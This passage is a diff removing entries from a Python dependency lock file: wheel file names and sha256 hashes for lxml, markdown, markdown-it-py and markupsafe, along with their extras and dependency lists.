"sha256:9f93d5b8b07f73e8c77e3c6556a3db269918390c804b5e5fcdd4858232cc8f16"}, - {file = "lxml-6.1.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:de550d129f18d8ab819651ffe4f38b1b713c7e116707de3c0c6400d0ef34fbc1"}, - {file = "lxml-6.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c08da09dc003c9e8c70e06b53a11db6fb3b250c21c4236b03c7d7b443c318e7a"}, - {file = "lxml-6.1.0-cp310-cp310-win32.whl", hash = "sha256:37448bf9c7d7adfc5254763901e2bbd6bb876228dfc1fc7f66e58c06368a7544"}, - {file = "lxml-6.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:2593a0a6621545b9095b71ad74ed4226eba438a7d9fc3712a99bdb15508cf93a"}, - {file = "lxml-6.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:e80807d72f96b96ad5588cb85c75616e4f2795a7737d4630784c51497beb7776"}, - {file = "lxml-6.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:cec05be8c876f92a5aa07b01d60bbb4d11cfbdd654cad0561c0d7b5c043a61b9"}, - {file = "lxml-6.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9c03e048b6ce8e77b09c734e931584894ecd58d08296804ca2d0b184c933ce50"}, - {file = "lxml-6.1.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:942454ff253da14218f972b23dc72fa4edf6c943f37edd19cd697618b626fac5"}, - {file = "lxml-6.1.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d036ee7b99d5148072ac7c9b847193decdfeac633db350363f7bce4fff108f0e"}, - {file = "lxml-6.1.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ae5d8d5427f3cc317e7950f2da7ad276df0cfa37b8de2f5658959e618ea8512"}, - {file = "lxml-6.1.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:363e47283bde87051b821826e71dde47f107e08614e1aa312ba0c5711e77738c"}, - {file = "lxml-6.1.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:f504d861d9f2a8f94020130adac88d66de93841707a23a86244263d1e54682f5"}, - {file = "lxml-6.1.0-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:23a5dc68e08ed13331d61815c08f260f46b4a60fdd1640bbeb82cf89a9d90289"}, - {file = "lxml-6.1.0-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f15401d8d3dbf239e23c818afc10c7207f7b95f9a307e092122b6f86dd43209a"}, - {file = "lxml-6.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:fcf3da95e93349e0647d48d4b36a12783105bcc74cb0c416952f9988410846a3"}, - {file = "lxml-6.1.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:0d082495c5fcf426e425a6e28daaba1fcb6d8f854a4ff01effb1f1f381203eb9"}, - {file = "lxml-6.1.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:e3c4f84b24a1fcba435157d111c4b755099c6ff00a3daee1ad281817de75ed11"}, - {file = "lxml-6.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:976a6b39b1b13e8c354ad8d3f261f3a4ac6609518af91bdb5094760a08f132c4"}, - {file = "lxml-6.1.0-cp311-cp311-win32.whl", hash = "sha256:857efde87d365706590847b916baff69c0bc9252dc5af030e378c9800c0b10e3"}, - {file = "lxml-6.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:183bfb45a493081943be7ea2b5adfc2b611e1cf377cefa8b8a8be404f45ef9a7"}, - {file = "lxml-6.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:19f4164243fc206d12ed3d866e80e74f5bc3627966520da1a5f97e42c32a3f39"}, - {file = "lxml-6.1.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d2f17a16cd8751e8eb233a7e41aecdf8e511712e00088bf9be455f604cd0d28d"}, - {file = "lxml-6.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f0cea5b1d3e6e77d71bd2b9972eb2446221a69dc52bb0b9c3c6f6e5700592d93"}, - {file = "lxml-6.1.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:fc46da94826188ed45cb53bd8e3fc076ae22675aea2087843d4735627f867c6d"}, - {file = "lxml-6.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9147d8e386ec3b82c3b15d88927f734f565b0aaadef7def562b853adca45784a"}, - {file = "lxml-6.1.0-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5715e0e28736a070f3f34a7ccc09e2fdcba0e3060abbcf61a1a5718ff6d6b105"}, - {file = "lxml-6.1.0-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4937460dc5df0cdd2f06a86c285c28afda06aefa3af949f9477d3e8df430c485"}, - {file = "lxml-6.1.0-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bc783ee3147e60a25aa0445ea82b3e8aabb83b240f2b95d32cb75587ff781814"}, - {file = "lxml-6.1.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:40d9189f80075f2e1f88db21ef815a2b17b28adf8e50aaf5c789bfe737027f32"}, - {file = "lxml-6.1.0-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:05b9b8787e35bec69e68daf4952b2e6dfcfb0db7ecf1a06f8cdfbbac4eb71aad"}, - {file = "lxml-6.1.0-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0f0f08beb0182e3e9a86fae124b3c47a7b41b7b69b225e1377db983802404e54"}, - {file = "lxml-6.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:73becf6d8c81d4c76b1014dbd3584cb26d904492dcf73ca85dc8bff08dcd6d2d"}, - {file = "lxml-6.1.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1ae225f66e5938f4fa29d37e009a3bb3b13032ac57eb4eb42afa44f6e4054e69"}, - {file = "lxml-6.1.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:690022c7fae793b0489aa68a658822cea83e0d5933781811cabbf5ea3bcfe73d"}, - {file = "lxml-6.1.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:63aeafc26aac0be8aff14af7871249e87ea1319be92090bfd632ec68e03b16a5"}, - {file = "lxml-6.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:264c605ab9c0e4aa1a679636f4582c4d3313700009fac3ec9c3412ed0d8f3e1d"}, - {file = "lxml-6.1.0-cp312-cp312-win32.whl", hash = "sha256:56971379bc5ee8037c5a0f09fa88f66cdb7d37c3e38af3e45cf539f41131ac1f"}, - {file = "lxml-6.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:bba078de0031c219e5dd06cf3e6bf8fb8e6e64a77819b358f53bb132e3e03366"}, - {file = "lxml-6.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:c3592631e652afa34999a088f98ba7dfc7d6aff0d535c410bea77a71743f3819"}, - {file = "lxml-6.1.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:a0092f2b107b69601adf562a57c956fbb596e05e3e6651cabd3054113b007e45"}, - {file = "lxml-6.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:fc7140d7a7386e6b545d41b7358f4d02b656d4053f5fa6859f92f4b9c2572c4d"}, - {file = "lxml-6.1.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:419c58fc92cc3a2c3fa5f78c63dbf5da70c1fa9c1b25f25727ecee89a96c7de2"}, - {file = "lxml-6.1.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:37fabd1452852636cf38ecdcc9dd5ca4bba7a35d6c53fa09725deeb894a87491"}, - {file = "lxml-6.1.0-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a2853c8b2170cc6cd54a6b4d50d2c1a8a7aeca201f23804b4898525c7a152cfc"}, - {file = "lxml-6.1.0-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8e369cbd690e788c8d15e56222d91a09c6a417f49cbc543040cba0fe2e25a79e"}, - {file = "lxml-6.1.0-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e69aa6805905807186eb00e66c6d97a935c928275182eb02ee40ba00da9623b2"}, - {file = "lxml-6.1.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:4bd1bdb8a9e0e2dd229de19b5f8aebac80e916921b4b2c6ef8a52bc131d0c1f9"}, - {file = "lxml-6.1.0-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:cbd7b79cdcb4986ad78a2662625882747f09db5e4cd7b2ae178a88c9c51b3dfe"}, - {file = "lxml-6.1.0-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:43e4d297f11080ec9d64a4b1ad7ac02b4484c9f0e2179d9c4ef78e886e747b88"}, - {file = "lxml-6.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cc16682cc987a3da00aa56a3aa3075b08edb10d9b1e476938cfdbee8f3b67181"}, - {file = "lxml-6.1.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d6d8efe71429635f0559579092bb5e60560d7b9115ee38c4adbea35632e7fa24"}, - {file = "lxml-6.1.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7e39ab3a28af7784e206d8606ec0e4bcad0190f63a492bca95e94e5a4aef7f6e"}, - {file = "lxml-6.1.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:9eb667bf50856c4a58145f8ca2d5e5be160191e79eb9e30855a476191b3c3495"}, - {file = "lxml-6.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7f4a77d6f7edf9230cee3e1f7f6764722a41604ee5681844f18db9a81ea0ec33"}, - {file = "lxml-6.1.0-cp313-cp313-win32.whl", hash = "sha256:28902146ffbe5222df411c5d19e5352490122e14447e98cd118907ee3fd6ee62"}, - {file = "lxml-6.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:4a1503c56e4e2b38dc76f2f2da7bae69670c0f1933e27cfa34b2fa5876410b16"}, - {file = "lxml-6.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:e0af85773850417d994d019741239b901b22c6680206f46a34766926e466141d"}, - {file = "lxml-6.1.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:ab863fd37458fed6456525f297d21239d987800c46e67da5ef04fc6b3dd93ac8"}, - {file = "lxml-6.1.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:6fd8b1df8254ff4fd93fd31da1fc15770bde23ac045be9bb1f87425702f61cc9"}, - {file = "lxml-6.1.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:47024feaae386a92a146af0d2aeed65229bf6fff738e6a11dda6b0015fb8fd03"}, - {file = "lxml-6.1.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3f00972f84450204cd5d93a5395965e348956aaceaadec693a22ec743f8ae3eb"}, - {file = "lxml-6.1.0-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97faa0860e13b05b15a51fb4986421ef7a30f0b3334061c416e0981e9450ca4c"}, - {file = "lxml-6.1.0-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:972a6451204798675407beaad97b868d0c733d9a74dafefc63120b81b8c2de28"}, - {file = "lxml-6.1.0-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fe022f20bc4569ec66b63b3fb275a3d628d9d32da6326b2982584104db6d3086"}, - {file = "lxml-6.1.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:75c4c7c619a744f972f4451bf5adf6d0fb00992a1ffc9fd78e13b0bc817cc99f"}, - {file = "lxml-6.1.0-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:3648f20d25102a22b6061c688beb3a805099ea4beb0a01ce62975d926944d292"}, - {file = "lxml-6.1.0-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:77b9f99b17cbf14026d1e618035077060fc7195dd940d025149f3e2e830fbfcb"}, - {file = "lxml-6.1.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:32662519149fd7a9db354175aa5e417d83485a8039b8aaa62f873ceee7ea4cad"}, - {file = "lxml-6.1.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:73d658216fc173cf2c939e90e07b941c5e12736b0bf6a99e7af95459cfe8eabb"}, - {file = "lxml-6.1.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:ac4db068889f8772a4a698c5980ec302771bb545e10c4b095d4c8be26749616f"}, - {file = "lxml-6.1.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:45e9dfbd1b661eb64ba0d4dbe762bd210c42d86dd1e5bd2bdf89d634231beb43"}, - {file = "lxml-6.1.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:89e8d73d09ac696a5ba42ec69787913d53284f12092f651506779314f10ba585"}, - {file = "lxml-6.1.0-cp314-cp314-win32.whl", hash = "sha256:ebe33f4ec1b2de38ceb225a1749a2965855bffeef435ba93cd2d5d540783bf2f"}, - {file = "lxml-6.1.0-cp314-cp314-win_amd64.whl", hash = "sha256:398443df51c538bd578529aa7e5f7afc6c292644174b47961f3bf87fe5741120"}, - {file = "lxml-6.1.0-cp314-cp314-win_arm64.whl", hash = "sha256:8c8984e1d8c4b3949e419158fda14d921ff703a9ed8a47236c6eb7a2b6cb4946"}, - {file = "lxml-6.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:1081dd10bc6fa437db2500e13993abf7cc30716d0a2f40e65abb935f02ec559c"}, - {file = "lxml-6.1.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:dabecc48db5f42ba348d1f5d5afdc54c6c4cc758e676926c7cd327045749517d"}, - {file = "lxml-6.1.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e3dd5fe19c9e0ac818a9c7f132a5e43c1339ec1cbbfecb1a938bd3a47875b7c9"}, - {file = "lxml-6.1.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9e7b0a4ca6dcc007a4cef00a761bba2dea959de4bd2df98f926b33c92ca5dfb9"}, - {file = "lxml-6.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d27bbe326c6b539c64b42638b18bc6003a8d88f76213a97ac9ed4f885efeab7"}, - {file = "lxml-6.1.0-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c4e425db0c5445ef0ad56b0eec54f89b88b2d884656e536a90b2f52aecb4ca86"}, - {file = "lxml-6.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b89b098105b8599dc57adac95d1813409ac476d3c948a498775d3d0c6124bfb"}, - {file = "lxml-6.1.0-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:c4a699432846df86cc3de502ee85f445ebad748a1c6021d445f3e514d2cd4b1c"}, - {file = "lxml-6.1.0-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:30e7b2ed63b6c8e97cca8af048589a788ab5c9c905f36d9cf1c2bb549f450d2f"}, - {file = "lxml-6.1.0-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:022981127642fe19866d2907d76241bb07ed21749601f727d5d5dd1ce5d1b773"}, - {file = "lxml-6.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:23cad0cc86046d4222f7f418910e46b89971c5a45d3c8abfad0f64b7b05e4a9b"}, - {file = "lxml-6.1.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:21c3302068f50d1e8728c67c87ba92aa87043abee517aa2576cca1855326b405"}, - {file = "lxml-6.1.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:be10838781cb3be19251e276910cd508fe127e27c3242e50521521a0f3781690"}, - {file = "lxml-6.1.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2173a7bffe97667bbf0767f8a99e587740a8c56fdf3befac4b09cb29a80276fd"}, - {file = "lxml-6.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c6854e9cf99c84beb004eecd7d3a3868ef1109bf2b1df92d7bc11e96a36c2180"}, - {file = "lxml-6.1.0-cp314-cp314t-win32.whl", hash = "sha256:00750d63ef0031a05331b9223463b1c7c02b9004cef2346a5b2877f0f9494dd2"}, - {file = "lxml-6.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:80410c3a7e3c617af04de17caa9f9f20adaa817093293d69eae7d7d0522836f5"}, - {file = "lxml-6.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:26dd9f57ee3bd41e7d35b4c98a2ffd89ed11591649f421f0ec19f67d50ec67ac"}, - {file = "lxml-6.1.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b6c2f225662bc5ad416bdd06f72ca301b31b39ce4261f0e0097017fc2891b940"}, - {file = "lxml-6.1.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a86f06f059e22a0d574990ee2df24ede03f7f3c68c1336293eee9536c4c776cd"}, - {file = "lxml-6.1.0-cp38-cp38-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:468479e52ecf3ec23799c863336d02c05fc2f7ffd1a1424eeeb9a28d4eb69d13"}, - {file = "lxml-6.1.0-cp38-cp38-manylinux_2_28_i686.whl", hash = "sha256:a02ca8fe48815bddcfca3248efe54451abb9dbf2f7d1c5744c8aa4142d476919"}, - {file = "lxml-6.1.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:bb40648d96157f9081886defe13eac99253e663be969ff938a9289eff6e47b72"}, - {file = "lxml-6.1.0-cp38-cp38-win32.whl", hash = "sha256:1dd6a1c3ad4cb674f44525d9957f3e9c209bb6dd9213245195167a281fcc2bdc"}, - {file = "lxml-6.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:4e2c54d6b47361d0f1d3bc8d4e082ad87201e56ccdcca4d3b9ee3644ff595ec8"}, - {file = "lxml-6.1.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:920354904d1cb86577d4b3cfe2830c2dbe81d6f4449e57ada428f1609b5985f7"}, - {file = "lxml-6.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c871299c595ee004d186f61840f0bfc4941aa3f17c8ba4a565ead7e4f4f820ee"}, - {file = "lxml-6.1.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d0d799ff958655781296ec870d5e2448e75150da2b3d07f13ff5b0c2c35beefd"}, - {file = "lxml-6.1.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7ba11752e346bd804ea312ec2eea2532dfa8b8d3261d81a32ef9e6ab16256280"}, - {file = "lxml-6.1.0-cp39-cp39-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:26c5272c6a4bf4cf32d3f5a7890c942b0e04438691157d341616d02cca74d4bd"}, - {file = "lxml-6.1.0-cp39-cp39-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c53fa3a5a52122d590e847a57ccf955557b9634a7f99ff5a35131321b0a85317"}, - {file = "lxml-6.1.0-cp39-cp39-manylinux_2_28_i686.whl", hash = "sha256:76b958b4ea3104483c20f74866d55aa056546e15ebe83dd7aecd63698f43b755"}, - {file = "lxml-6.1.0-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:8c11b984b5ce6add4dccc7144c7be5d364d298f15b0c6a57da1991baedc750ce"}, - {file = "lxml-6.1.0-cp39-cp39-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d3829a6e6fd550a219564912d4002c537f65da4c6ae4e093cc34462f4fa027ad"}, - {file = "lxml-6.1.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:52b0ac6903cf74ebf997eb8c682d2fbac7d1ab7e4c552413eec55868a9b73f39"}, - {file = "lxml-6.1.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:29f5c00cb7d752bce2c70ebd2d31b0a42f9499ffdd3ecb2f31a5b73ee43031ad"}, - {file = "lxml-6.1.0-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:c748ebcb6877de89f48ab90ca96642ac458fff5dec291a2b9337cd4d0934e383"}, - {file = "lxml-6.1.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:08950a23f296b3f83521577274e3d3b0f3d739bf2e68d01a752e4288bc50d286"}, - {file = "lxml-6.1.0-cp39-cp39-win32.whl", hash = "sha256:11a873c77a181b4fef9c2e357d08ed399542c2af1390101da66720a19c7c9618"}, - {file = "lxml-6.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:81ff55c70b67d19d52b6fd118a114c0a4c97d799cd3089ff9bd9e2ff4b414ee2"}, - {file = "lxml-6.1.0-cp39-cp39-win_arm64.whl", hash = "sha256:481d6e2104285d9add34f41b42b247b76b61c5b5c26c303c2e9707bbf8bd9a64"}, - {file = "lxml-6.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:546b66c0dd1bb8d9fa89d7123e5fa19a8aff3a1f2141eb22df96112afb17b842"}, - {file = "lxml-6.1.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5cfa1a34df366d9dc0d5eaf420f4cf2bb1e1bebe1066d1c2fc28c179f8a4004c"}, - {file = "lxml-6.1.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db88156fcf544cdbf0d95588051515cfdfd4c876fc66444eb98bceb5d6db76de"}, - {file = "lxml-6.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:07f98f5496f96bf724b1e3c933c107f0cbf2745db18c03d2e13a291c3afd2635"}, - {file = "lxml-6.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4642e04449a1e164b5ff71ffd901ddb772dfabf5c9adf1b7be5dffe1212bc037"}, - {file = "lxml-6.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:7da13bb6fbadfafb474e0226a30570a3445cfd47c86296f2446dafbd77079ace"}, - {file = "lxml-6.1.0.tar.gz", hash = "sha256:bfd57d8008c4965709a919c3e9a98f76c2c7cb319086b3d26858250620023b13"}, -] - -[package.extras] -cssselect = ["cssselect (>=0.7)"] -html-clean = ["lxml_html_clean"] -html5 = ["html5lib"] -htmlsoup = ["BeautifulSoup4"] - -[[package]] -name = "markdown" -version = "3.10.2" -description = "Python implementation of John Gruber's Markdown." -optional = false -python-versions = ">=3.10" -groups = ["docs"] -files = [ - {file = "markdown-3.10.2-py3-none-any.whl", hash = "sha256:e91464b71ae3ee7afd3017d9f358ef0baf158fd9a298db92f1d4761133824c36"}, - {file = "markdown-3.10.2.tar.gz", hash = "sha256:994d51325d25ad8aa7ce4ebaec003febcce822c3f8c911e3b17c52f7f589f950"}, -] - -[package.extras] -docs = ["mdx_gh_links (>=0.2)", "mkdocs (>=1.6)", "mkdocs-gen-files", "mkdocs-literate-nav", "mkdocs-nature (>=0.6)", "mkdocs-section-index", "mkdocstrings[python] (>=0.28.3)"] -testing = ["coverage", "pyyaml"] - -[[package]] -name = "markdown-it-py" -version = "4.0.0" -description = "Python port of markdown-it. Markdown parsing, done right!" -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147"}, - {file = "markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3"}, -] - -[package.dependencies] -mdurl = ">=0.1,<1.0" - -[package.extras] -benchmarking = ["psutil", "pytest", "pytest-benchmark"] -compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "markdown-it-pyrs", "mistletoe (>=1.0,<2.0)", "mistune (>=3.0,<4.0)", "panflute (>=2.3,<3.0)"] -linkify = ["linkify-it-py (>=1,<3)"] -plugins = ["mdit-py-plugins (>=0.5.0)"] -profiling = ["gprof2dot"] -rtd = ["ipykernel", "jupyter_sphinx", "mdit-py-plugins (>=0.5.0)", "myst-parser", "pyyaml", "sphinx", "sphinx-book-theme (>=1.0,<2.0)", "sphinx-copybutton", "sphinx-design"] -testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions", "requests"] - -[[package]] -name = "markupsafe" -version = "3.0.3" -description = "Safely add untrusted strings to HTML/XML markup." -optional = false -python-versions = ">=3.9" -groups = ["main", "dev", "docs"] -files = [ - {file = "markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559"}, - {file = "markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419"}, - {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695"}, - {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591"}, - {file = "markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c"}, - {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f"}, - {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6"}, - {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1"}, - {file = "markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa"}, - {file = "markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8"}, - {file = "markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1"}, - {file = "markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad"}, - {file = "markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a"}, - {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50"}, - {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf"}, - {file = "markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f"}, - {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a"}, - {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115"}, - {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a"}, - {file = "markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19"}, - {file = 